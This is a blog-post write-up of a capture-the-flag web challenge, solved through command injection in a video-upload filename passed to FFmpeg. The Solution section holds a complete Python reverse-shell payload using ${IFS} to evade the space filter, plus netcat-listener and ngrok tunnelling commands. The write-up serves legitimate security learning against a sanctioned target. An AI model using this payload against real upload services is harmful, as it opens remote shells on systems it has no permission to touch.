DEV Community

Cover image for Going Blind to Find the Way (INTIGRITI Challenge 0723)
Arnav Kumar
Arnav Kumar

Posted on • Updated on

Going Blind to Find the Way (INTIGRITI Challenge 0723)

Welcome,

So, this month we have some flag capturing in the Intigriti July Challenge 0723.

Lets begin!

Introduction

First things first, the challenge description states the following:

  • Should retrieve the flag from the web server.
  • The flag format is INTIGRITI{.*}.
  • Should NOT use another challenge on the intigriti.io domain.

Challenge Homepage

Looking at the homepage, it's an online service that lets you extract audio from your video.

The main challenge page is the Upload Page having just a single file input that accepts only .mp4 files, having a submit button to submit the file.

Upon Extraction, it downloads the audio file extracted_audio.wav

The upload Page

Analyzing The Challenge

The frontend code just has code related to the layouts and styling, so nothing to look there.

That leaves with the only thing to attack, i.e. the file upload.

<form action="/upload" method="POST" enctype="multipart/form-data">
   <div class="form-group">
      <label for="video">Select a video file:</label>
      <div class="custom-file">
         <input type="file" class="custom-file-input" id="video" name="video" accept="video/mp4">
         <label class="custom-file-label" for="video">Choose file</label>
      </div>
   </div>
   <div class="text-center">
      <button type="submit" class="btn btn-primary">Upload and Extract Audio</button>
   </div>
</form>
Enter fullscreen mode Exit fullscreen mode

The form is a simple one, and the input only seems to accept video/mpeg i.e. MP4 files in this case.

Upon experimenting a bit, we also find that we are not allowed to use spaces in the file name. Looks SUS! Yeah, it's more like a hint.

No Spaces Allowed

Now, the end goal is to find the flag by exploiting the file handling.

Solving the Challenge

Before anything else, I went straight up to testing whether I was somehow able to bypass the content type restriction, I tried modifying the filenames to do so, but none of them worked.

Doing so, I figured out the file should necessarily end with .mp4 extension for it to treat the file as a valid file.

Later, while testing I got this error message
FFmpeg error
It's a FFmpeg error!
So, They use FFmpeg to convert the video to audio.

Connecting it with our past finding, NO spaces allowed in filenames

Connecting the dots, it seemed to be a case of command injection.

So I started modifying the filename to possibly inject the command.

But if spaces are not allowed, how we would inject commands, as it will at least have a space. I asked myself

I literally searched alternate for space in bash
and came up with a Unix Stack Exchange Article that suggested to use ${IFS} in place of space and it works.

If it seems familiar to you, you might have seen it in the John Hammond's Video titled Filter Evasion in a REVERSE SHELL (no spaces!!) I just realized the same after getting it from article πŸ˜…

We have dealt with the space problem now it is time for the actual injection.

And that's where I fell into a rabbit hole πŸ•³οΈπŸ‡ initially.

I assumed the command at backend would be something like ffmpeg -i "input_file.mp4" extracted_audio.wav

And thought to go with the SQL injection like approach.

And I came up with the following file name:

c" -loglevel panic;cat flag.txt > extracted_audio.wav;echo ".mp4
Enter fullscreen mode Exit fullscreen mode

It worked locally with my assumption, but not in the real website.

I couldn't make it work. And one of the drawbacks were, I didn't know where the flag.txt was, it could have been current folder or in root. (It was in root btw)

By that time the post reached 100 likes, and we get a hint

Maybe you get errors.. Maybe everything looks normal.. Maybe you just gotta do it blindπŸ™ˆ
Enter fullscreen mode Exit fullscreen mode

And yeah, there I realized blindπŸ™ˆ, the essence of this challenge!

I searched it and found its Blind SSRF.

As Port Swigger Explains:

Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application's front-end response.

By the time I also realized it is not supposed to be like SQL Injection and is the Bash Command Substitution

So we got Spaces done, we have a way to inject command, just have to think of a payload to get access to the flag.

And I get into another rabbit hole πŸ˜…
I knew of netcat, and we can get contents of a file using netcat and do reverse shell with it.

I made nc payloads for reverse shells, but it didn't work, then one of my fellow friends suggested, nc might not be available in the environment as it might be sandboxed.

And yeah, finally we are leading to the solution.

So, I searched for reverse shell payloads on Google thinking if nc isn't there something else could be there.

and fortunately Came up with the pentestmonkey reverse shell cheatsheet that has many reverse shell payloads

I thought to try python one, as I'm more comfortable with it. And possibly the web app could also be in python.

I tried it, but still didn't work.

The problem: we can't use ${IFS} in python code string.

It was a easy fix as the only place where a space is there is the import statement.

And in python we have an alt for normal import statements: the __import__() function

import os and os=__import__("os") are literally the same thing.

But after that got error saving the long filename, for that just made variable names 1 letter.

I renamed the file, uploaded it and voilΓ  a reverse shell πŸŽ‰

The flag.txt was in the root of the file system. And it contained the flag.

Solution

Setting it up

Start The Netcat Listener

nc -lvp 1111
Enter fullscreen mode Exit fullscreen mode

l: listen
v: verbose
p: port

netcat command

Use Ngrok to forward the connection, to get a usable URL that is accessible from the internet.

ngrok tcp 1111
Enter fullscreen mode Exit fullscreen mode

We listen on TCP as that is the type of connection netcat uses to communicate

ngrok command

Note down the forwarding URL's domain and port, we'd make reverse shell connection by embedding them into the payload

here the domain is 0.tcp.in.ngrok.io alternatively can ping the domain to get the IP instead as it'd be shorter, in this case its 3.6.122.107
and the PORT is 14296

The payload

$(python${IFS}-c${IFS}'k=__import__("socket");l=__import__("subprocess");o=__import__("os");s=k.socket(k.AF_INET,k.SOCK_STREAM);s.connect(("<NGROK_DOMAIN>",<NGROK_PORT>));o.dup2(s.fileno(),0);o.dup2(s.fileno(),1);o.dup2(s.fileno(),2);p=l.call(["sh","-i"]);').mp4
Enter fullscreen mode Exit fullscreen mode

Replacing the <NGROK_DOMAIN> with the domain and <NGROK_PORT> would complete the payload.

And once uploaded to the website it would open a reverse shell

Reverse Shell Opened

We can see the flag.txt there

now just printing its content gives the flag

Getting the flag

INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}
Enter fullscreen mode Exit fullscreen mode

the previous flag had a typo INITGRITI was there instead of INTIGRITI and at the time of writing they fixed it. That's why screenshot flag is different.

I'd like to thank @_kavigihan for making the awesome challenge.

Happy Hacking!
Meet You in the Next post!

Top comments (1)

Collapse
 
atoms19 profile image
atoms

πŸ”₯πŸ”₯